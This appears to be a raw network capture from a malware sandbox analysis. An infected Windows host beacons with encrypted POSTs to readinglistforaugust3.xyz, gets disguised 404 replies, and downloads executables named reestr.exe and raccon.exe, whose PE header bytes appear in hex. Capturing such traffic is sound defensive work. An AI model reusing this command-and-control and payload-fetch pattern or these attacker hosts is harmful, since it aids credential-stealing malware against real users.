Aug 24, 2021 14:01:28.695472956 CEST	5337	IN	Data Raw: da 3a 89 a8 6b 00 ac 74 12 80 fe ef d2 15 b7 80 2a 7e d7 9b fd a8 c1 0f 52 f1 3e 94 7b b5 ff 53 d1 ab 30 08 d6 d6 74 40 7a 25 4c 10 09 72 63 e8 b5 5f 25 6f 66 2d 0f 30 15 5c 5d 82 99 1e ad 6c 80 b8 de e3 6b 1f 38 aa 8f a8 d6 b1 ec b6 e4 69 6c 43 Data Ascii: :kt*~R>{S0t@z%Lrc_%of-0\]lk8ilCNr6zTKf"LtQn/1R;QZyi8a>it5pC<=]-0y)\|tU #\|?uI
Aug 24, 2021 14:01:28.695491076 CEST	5338	IN	Data Raw: ef 20 6c 12 7d 46 58 1c f1 b9 4e dd a3 f7 7a 80 7e 3f a8 2a 34 72 61 ba ca 34 5a e7 dc 5a 35 fe a1 31 15 c9 be 27 ac c9 6b fd f1 1f 4d 2c d4 8a d5 56 b5 8c d8 85 e1 b7 89 dc 7b 41 ff e8 ec bd be a7 8a 78 89 f1 45 b3 77 72 07 84 22 51 57 c5 57 df Data Ascii: l}FXNz~?4ra4ZZ51'kM,V{AxEwr"QWWc{6X=XvNpwA$y\|<i(KdpDZKbSrM-(\:`JH-# +&lTN2U:mhFt4&}eAy*My92+m
Aug 24, 2021 14:01:28.695512056 CEST	5340	IN	Data Raw: d6 66 a4 c1 05 80 8d 65 f7 78 a1 3c 0a f5 40 e5 ef cc 1a 02 49 42 22 e4 d7 7a ed 86 c7 78 cb ce 64 00 55 0c aa e2 5d 11 e3 1b 3d e6 78 c1 c2 2f 3f 22 eb b0 30 c3 ae e4 70 fc 25 17 67 b6 79 fc 6d 87 0b b2 cc b6 79 49 a8 4e d9 52 55 94 a1 85 3c af Data Ascii: fex<@IB"zxdU]=x/?"0p%gymyINRU<VK9(bj{]9\|ReUh`C;SxpGq_R]NP)RCVlb B<*MeXE6YJ 7Q;p4X'hS<s
Aug 24, 2021 14:01:28.695532084 CEST	5341	IN	Data Raw: ed f7 1d 66 7a 64 c9 1a dd 97 58 6d 7b 85 ed d5 a0 01 e1 64 d5 7f 58 75 da d9 05 31 b1 82 9e 3b b3 05 5a 0a 20 6a 1a 9c ab 8c ac 20 68 32 51 72 de 0e fd c1 a1 a5 8a eb 2b 78 82 39 8d 21 e7 51 e8 20 3f 20 4d 70 b3 e0 68 5d 61 43 80 54 58 bd 61 aa Data Ascii: fzdXm{dXu1;Z j h2Qr+x9!Q ? Mph]aCTXaz#By\?0"kND<CA'@L[;)cvL_F8#Eb3TVPbc1i~]Q%dt4i^jt{&%>}GR181WQe#D7i6h
Aug 24, 2021 14:01:28.695549965 CEST	5342	IN	Data Raw: 14 89 c4 ec 98 09 41 7b 5c 75 c7 5e 88 e5 a8 53 e9 5b ef 7f 86 c3 14 f0 42 d3 53 eb 40 47 02 e8 cc e9 30 4d ff 56 cd e9 4e ef 96 c0 79 2d 1b e4 1e 00 19 2c fe 78 56 9a 8e 55 85 97 d2 f6 ae d4 0c 99 7a 77 ad 87 08 a4 b8 8e 96 1b bb d3 55 9d 10 a5 Data Ascii: A{\u^S[BS@G0MVNy-,xVUzwUN^/s-m_W1?1]j\\^#2DME1?z>z3KB9Wk,R2y'P>8:V6}e'-4D9+E1j5@!%2TOgA]!O
Aug 24, 2021 14:01:28.695571899 CEST	5344	IN	Data Raw: b4 2a 1b d8 90 68 ae d8 30 02 62 0b 75 05 11 46 9e 05 2e b5 72 c8 a8 9c 30 df ce ab 2d db 38 1b 98 6f 0b 72 b4 7c 54 60 86 15 fa bd 5e 85 bb 88 17 70 ad 4b bb 1b 45 51 f2 cb b8 b9 21 9a d3 e8 d6 b1 de 67 aa 4c c1 ce 4b b9 68 e1 0c e0 bc 56 5d d9 Data Ascii: *h0buF.r0-8or\|T`^pKEQ!gLKhV]dn{8dP"!Tk(6=j\&^H+X?0_#X&Oqux.Jc]P?kE?x"iT;~6{mPigh~q8qQd?VY
Aug 24, 2021 14:01:28.695595026 CEST	5345	IN	Data Raw: 3a 95 7b 1b 81 d4 f4 92 f4 23 9c 5a 92 12 01 a0 81 47 59 af 79 a6 06 a8 37 10 bf 12 ce cd b9 5a de 3a 39 e4 2a e0 44 95 8f d2 1d 7b f7 dd 95 a6 bb 96 aa 73 27 2b 46 46 c0 d1 3a d1 64 13 25 98 37 be 69 11 81 c6 ea 35 0c c8 57 e8 49 ae ad 11 d3 1e Data Ascii: :{#ZGYy7Z:9*D{s'+FF:d%7i5WId_r<Iy96;XS6UrrWF~c23E1<%ZbXonN{Yez0aR+5sR{i6&/gQh,%><`;
Aug 24, 2021 14:01:28.695611954 CEST	5346	IN	Data Raw: 92 f2 37 b9 7c 94 35 7c d9 bf 87 f5 65 ae d7 10 83 e8 94 a5 40 d5 22 64 10 0f e7 5d ab ce e3 8f 1e d6 14 44 04 c7 6b 55 d0 36 6e 3f 26 52 04 fd 98 cf 19 c5 14 61 e3 31 e7 90 9e da 96 6e 03 15 9e 15 26 1b 66 45 7f 7e ce 96 18 21 55 35 b1 1a 8d 21 Data Ascii: 7\|5\|e@"d]DkU6n?&Ra1n&fE~!U5!I3oZS3$;MN.o]S<ZTNzcXUo2~}73BNDX)dbt3s.{q#1r ({ DF`eW0H)T9Hu
Aug 24, 2021 14:01:28.717922926 CEST	5348	IN	Data Raw: de d6 ea d7 06 73 a7 9a ed 1b 8c 58 f8 4c 8e 6b ff d0 9f 55 ae 10 73 d5 4c 25 e2 69 1a d5 b5 68 d5 fb 42 80 45 c7 1c 0c 9c af a4 22 1a 34 1c b9 a5 7f 3f b0 11 3b 86 77 e6 69 67 ee 2a fb eb bf 81 0c 0f e0 c2 e1 f1 8a c5 f7 ab 67 b7 a0 df 25 04 fa Data Ascii: sXLkUsL%ihBE"4?;wigg%Y33d6\|E:YcKHMw?s}Sh9<)GiVt%ayQn-h.[(x)&aMB=-N=-@0^NyP1unN_graY/
Aug 24, 2021 14:01:28.915792942 CEST	5666	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:28.915832043 CEST	5666	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 21 bc d5 4a 99 47 ba bf b5 99 e6 49 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q!JGI}hO6${9Ltj<M2<&\|q;3T&me>Q
Aug 24, 2021 14:01:28.968590021 CEST	5666	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 00 00 a7 a2 7f d5 7f 6b 10 19 36 87 8f bf a7 46 90 6c 01 06 a1 6d 47 49 35 93 59 0b a5 f2 c1 9d 60 dd dc bd 17 c5 d4 e5 a0 52 7a bb d1 87 1d e5 31 7d 50 0d 1f 53 3f Data Ascii: k6FlmGI5Y`Rz1}PS?
Aug 24, 2021 14:01:28.976861954 CEST	5667	OUT	GET /reestr.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:29.045172930 CEST	5668	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:29 GMT Content-Type: application/x-msdos-program Content-Length: 24576 Connection: keep-alive Keep-Alive: timeout=3 Last-Modified: Tue, 17 Aug 2021 14:34:32 GMT ETag: "6000-5c9c2374e92ba" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 4b c4 db 9d 2a aa 88 9d 2a aa 88 9d 2a aa 88 1e 36 a4 88 9c 2a aa 88 f4 35 a3 88 9f 2a aa 88 74 35 a7 88 9c 2a aa 88 52 69 63 68 9d 2a aa 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee fd 3a 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 30 00 00 00 20 00 00 00 00 00 00 78 12 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 16 00 0b 00 04 00 00 00 00 00 00 00 00 60 00 00 00 10 00 00 83 62 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 2e 00 00 28 00 00 00 00 50 00 00 7c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 00 20 00 00 00 00 10 00 00 d4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 22 00 00 00 10 00 00 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 84 03 00 00 00 40 00 00 00 10 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 0a 00 00 00 50 00 00 00 10 00 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$K**65t5Rich*PEL:]0 x@@`bT.(P\|0 .textP"0 `.data@@@.rsrc\|PP@@IMSVBVM60.DLL
Aug 24, 2021 14:01:29.886126041 CEST	5693	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:29.886178970 CEST	5693	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 87 1c 21 bc d5 4a 98 47 ba bf b2 f2 8a 32 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q!JG2g%"x('PuP"$VR!K#tUXOb;qV+8>/S66F!c^_lgk^N#cH{'y@s
Aug 24, 2021 14:01:29.932085991 CEST	5694	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:29.987246990 CEST	5694	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 155 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:29.987288952 CEST	5694	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 20 bc d5 4a 99 47 ba bf d2 c1 cb 65 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q JGedKC(=BLl1A[(nnA:)vwF?K5
Aug 24, 2021 14:01:30.038521051 CEST	5695	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:30.192543983 CEST	5696	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 295 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:30.192622900 CEST	5696	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 86 1c 23 bc d5 4a 99 47 ba bf b6 cc c3 77 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q#JGwgaBjJ.S]WD3afb:4pI{GuU(PMmi4 60v;ZA!\|Ru#lI<rXkL+@ j
Aug 24, 2021 14:01:30.240658045 CEST	5696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 00 00 a7 a2 7f d5 7f 6b 10 19 36 87 8f bf a7 46 90 6c 01 06 a1 6d 47 49 35 93 59 0b a5 f2 c1 9d 60 dd dc bd 17 c5 d4 e5 a0 52 7a bb d1 87 19 e3 21 66 4c 0d 1f 53 3f Data Ascii: k6FlmGI5Y`Rz!fLS?
Aug 24, 2021 14:01:31.076155901 CEST	5696	OUT	GET /raccon.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:31.159030914 CEST	5698	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:31 GMT Content-Type: application/x-msdos-program Content-Length: 433664 Connection: keep-alive Keep-Alive: timeout=3 Last-Modified: Tue, 24 Aug 2021 12:01:02 GMT ETag: "69e00-5ca4ce3390c60" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 87 3b e8 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 72 05 00 00 60 8a 02 00 00 00 00 1a 24 00 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 8f 02 00 04 00 00 fd 44 07 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 d0 05 00 54 00 00 00 40 c6 05 00 3c 00 00 00 00 e0 8e 02 a0 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 91 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 ad 05 00 18 00 00 00 20 ad 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 51 70 05 00 00 10 00 00 00 72 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b4 40 00 00 00 90 05 00 00 42 00 00 00 76 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 f2 88 02 00 e0 05 00 00 3a 00 00 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 aa 00 00 00 e0 8e 02 00 ac 00 00 00 f2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 01 20 92 45 00 e9 b2 0f 00 00 56 8b f1 c7 06 20 92 45 00 e8 a4 0f 00 00 f6 44 24 08 01 74 07 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL;_r`$@D`T@<h @.textQpr `.rdata@Bv@@.data8:@.rsrc@@ EV ED$t
Aug 24, 2021 14:01:32.008524895 CEST	6147	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 294 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:32.008564949 CEST	6148	OUT	Data Raw: 6c 9b 74 96 17 9a 9c 7d b1 05 0a 64 99 96 21 62 65 b9 a3 4e 0f c4 69 a2 17 cb 34 11 26 a7 da 53 24 78 51 02 2b b3 6e f9 0d 3e 89 8e 2b b7 9f ad 6e 2f 5a 6f ce 5d de 66 cc 82 a7 61 34 21 6a 3a a3 e8 51 b5 87 1c 23 bc d5 4a 98 47 ba bf b8 f5 99 25 Data Ascii: lt}d!beNi4&S$xQ+n>+n/Zo]fa4!j:Q#JG%\|-*pFc1&Cx__QU0Tb$N8\|7)c[)U$eq\2VkH.?)=>>gb\|Buw~h4SeUs{Vu
Aug 24, 2021 14:01:32.060312033 CEST	6148	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data 